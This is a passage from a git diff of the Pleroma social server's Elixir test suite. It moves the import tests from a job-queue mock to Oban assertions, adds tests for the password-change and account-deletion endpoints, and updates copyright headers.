"follow_list.txt"}})            |> json_response(:ok) -        assert called( -                 PleromaJobQueue.enqueue( -                   :background, -                   User, -                   [:follow_import, user1, [user2.ap_id]] -                 ) -               ) -          assert response == "job started" + +        assert ObanHelpers.member?( +                 %{ +                   "op" => "follow_import", +                   "follower_id" => user1.id, +                   "followed_identifiers" => [user2.ap_id] +                 }, +                 all_enqueued(worker: Pleroma.Workers.BackgroundWorker) +               )        end      end @@ -118,8 +121,7 @@ defmodule Pleroma.Web.TwitterAPI.UtilControllerTest do        user3 = insert(:user)        with_mocks([ -        {File, [], read!: fn "blocks_list.txt" -> "#{user2.ap_id} #{user3.ap_id}" end}, -        {PleromaJobQueue, [:passthrough], []} +        {File, [], read!: fn "blocks_list.txt" -> "#{user2.ap_id} #{user3.ap_id}" end}        ]) do          response =            conn @@ -127,15 +129,16 @@ defmodule Pleroma.Web.TwitterAPI.UtilControllerTest do            |> post("/api/pleroma/blocks_import", %{"list" => %Plug.Upload{path: "blocks_list.txt"}})            |> json_response(:ok) -        assert called( -                 PleromaJobQueue.enqueue( -                   :background, -                   User, -                   [:blocks_import, user1, [user2.ap_id, user3.ap_id]] -                 ) -               ) -          assert response == "job started" + +        assert ObanHelpers.member?( +                 %{ +                   "op" => "blocks_import", +                   "blocker_id" => user1.id, +                   "blocked_identifiers" => [user2.ap_id, user3.ap_id] +                 }, +                 all_enqueued(worker: Pleroma.Workers.BackgroundWorker) +               )        end      end    end @@ -338,12 +341,14 @@ defmodule Pleroma.Web.TwitterAPI.UtilControllerTest do      test "show follow page with error when user cannot fecth by `acct` link", %{conn: conn} do        user = insert(:user) -      response = -        conn -        |> assign(:user, user) -        |> get("/ostatus_subscribe?acct=https://mastodon.social/users/not_found") +      assert capture_log(fn -> +               response = +                 conn +                 |> assign(:user, user) +                 |> get("/ostatus_subscribe?acct=https://mastodon.social/users/not_found") -      assert html_response(response, 200) =~ "Error fetching user" +               assert html_response(response, 200) =~ "Error fetching user" +             end) =~ "Object has been deleted"      end    end @@ -557,6 +562,7 @@ defmodule Pleroma.Web.TwitterAPI.UtilControllerTest do          |> json_response(:ok)        assert response == %{"status" => "success"} +      ObanHelpers.perform_all()        user = User.get_cached_by_id(user.id) @@ -769,4 +775,109 @@ defmodule Pleroma.Web.TwitterAPI.UtilControllerTest do        assert json_response(conn, 200) == %{"status" => "success"}      end    end + +  describe "POST /api/pleroma/change_password" do +    setup [:valid_user] + +    test "without credentials", %{conn: conn} do +      conn = post(conn, "/api/pleroma/change_password") +      assert json_response(conn, 403) == %{"error" => "Invalid credentials."} +    end + +    test "with credentials and invalid password", %{conn: conn, user: current_user} do +      conn = +        conn +        |> with_credentials(current_user.nickname, "test") +        |> post("/api/pleroma/change_password", %{ +          "password" => "hi", +          "new_password" => "newpass", +          "new_password_confirmation" => "newpass" +        }) + +      assert json_response(conn, 200) == %{"error" => "Invalid password."} +    end + +    test "with credentials, valid password and new password and confirmation not matching", %{ +      conn: conn, +      user: current_user +    } do +      conn = +        conn +        |> with_credentials(current_user.nickname, "test") +        |> post("/api/pleroma/change_password", %{ +          "password" => "test", +          "new_password" => "newpass", +          "new_password_confirmation" => "notnewpass" +        }) + +      assert json_response(conn, 200) == %{ +               "error" => "New password does not match confirmation." +             } +    end + +    test "with credentials, valid password and invalid new password", %{ +      conn: conn, +      user: current_user +    } do +      conn = +        conn +        |> with_credentials(current_user.nickname, "test") +        |> post("/api/pleroma/change_password", %{ +          "password" => "test", +          "new_password" => "", +          "new_password_confirmation" => "" +        }) + +      assert json_response(conn, 200) == %{ +               "error" => "New password can't be blank." +             } +    end + +    test "with credentials, valid password and matching new password and confirmation", %{ +      conn: conn, +      user: current_user +    } do +      conn = +        conn +        |> with_credentials(current_user.nickname, "test") +        |> post("/api/pleroma/change_password", %{ +          "password" => "test", +          "new_password" => "newpass", +          "new_password_confirmation" => "newpass" +        }) + +      assert json_response(conn, 200) == %{"status" => "success"} +      fetched_user = User.get_cached_by_id(current_user.id) +      assert Comeonin.Pbkdf2.checkpw("newpass", fetched_user.password_hash) == true +    end +  end + +  describe "POST /api/pleroma/delete_account" do +    setup [:valid_user] + +    test "without credentials", %{conn: conn} do +      conn = post(conn, "/api/pleroma/delete_account") +      assert json_response(conn, 403) == %{"error" => "Invalid credentials."} +    end + +    test "with credentials and invalid password", %{conn: conn, user: current_user} do +      conn = +        conn +        |> with_credentials(current_user.nickname, "test") +        |> post("/api/pleroma/delete_account", %{"password" => "hi"}) + +      assert json_response(conn, 200) == %{"error" => "Invalid password."} +    end + +    test "with credentials and valid password", %{conn: conn, user: current_user} do +      conn = +        conn +        |> with_credentials(current_user.nickname, "test") +        |> post("/api/pleroma/delete_account", %{"password" => "test"}) + +      assert json_response(conn, 200) == %{"status" => "success"} +      # Wait a second for the started task to end +      :timer.sleep(1000) +    end +  end  end diff --git a/test/web/uploader_controller_test.exs b/test/web/uploader_controller_test.exs index 70028df1c..7c7f9a6ea 100644 --- a/test/web/uploader_controller_test.exs +++ b/test/web/uploader_controller_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Web.UploaderControllerTest do diff --git a/test/web/views/error_view_test.exs b/test/web/views/error_view_test.exs index 3857d585f..4e5398c83 100644 --- a/test/web/views/error_view_test.exs +++ b/test/web/views/error_view_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Web.ErrorViewTest do diff --git a/test/web/web_finger/web_finger_controller_test.exs b/test/web/web_finger/web_finger_controller_test.exs index e23086b2a..49cd1460b 100644 --- a/test/web/web_finger/web_finger_controller_test.exs +++ b/test/web/web_finger/web_finger_controller_test.exs @@ -1,10 +1,11 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Web.WebFinger.WebFingerControllerTest do    use Pleroma.Web.ConnCase +  import ExUnit.CaptureLog    import Pleroma.Factory    import Tesla.Mock @@ -75,11 +76,13 @@ defmodule Pleroma.Web.WebFinger.WebFingerControllerTest do    test "Sends a 404 when invalid format" do      user = insert(:user) -    assert_raise Phoenix.NotAcceptableError, fn -> -      build_conn() -      |> put_req_header("accept", "text/html") -      |> get("/.well-known/webfinger?resource=acct:#{user.nickname}@localhost") -    end +    assert capture_log(fn -> +             assert_raise Phoenix.NotAcceptableError, fn -> +               build_conn() +               |> put_req_header("accept", "text/html") +               |> get("/.well-known/webfinger?resource=acct:#{user.nickname}@localhost") +             end +           end) =~ "no supported media type in accept header"    end    test "Sends a 400 when resource param is missing" do diff --git a/test/web/web_finger/web_finger_test.exs b/test/web/web_finger/web_finger_test.exs index 8fdb9adea..696c1bd70 100644 --- a/test/web/web_finger/web_finger_test.exs +++ b/test/web/web_finger/web_finger_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Web.WebFingerTest do diff --git a/test/web/websub/websub_controller_test.exs b/test/web/websub/websub_controller_test.exs index 59cacbe68..f6d002b3b 100644 --- a/test/web/websub/websub_controller_test.exs +++ b/test/web/websub/websub_controller_test.exs @@ -1,5 +1,5 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Web.Websub.WebsubControllerTest do diff --git a/test/web/websub/websub_test.exs b/test/web/websub/websub_test.exs index 74386d7db..46ca545de 100644 --- a/test/web/websub/websub_test.exs +++ b/test/web/websub/websub_test.exs @@ -1,14 +1,17 @@  # Pleroma: A lightweight social networking server -# Copyright © 2017-2018 Pleroma Authors <https://pleroma.social/> +# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>  # SPDX-License-Identifier: AGPL-3.0-only  defmodule Pleroma.Web.WebsubTest do    use Pleroma.DataCase +  use Oban.Testing, repo: Pleroma.Repo +  alias Pleroma.Tests.ObanHelpers    alias Pleroma.Web.Router.Helpers    alias Pleroma.Web.Websub    alias Pleroma.Web.Websub.WebsubClientSubscription    alias Pleroma.Web.Websub.WebsubServerSubscription +  alias Pleroma.Workers.SubscriberWorker    import Pleroma.Factory    import Tesla.Mock @@ -224,6 +227,7 @@ defmodule Pleroma.Web.WebsubTest do          })        _refresh = Websub.refresh_subscriptions() +      ObanHelpers.perform(all_enqueued(worker: SubscriberWorker))        assert still_good == Repo.get(WebsubClientSubscription, still_good.id)        refute needs_refresh == Repo.get(WebsubClientSubscription, needs_refresh.id) | 
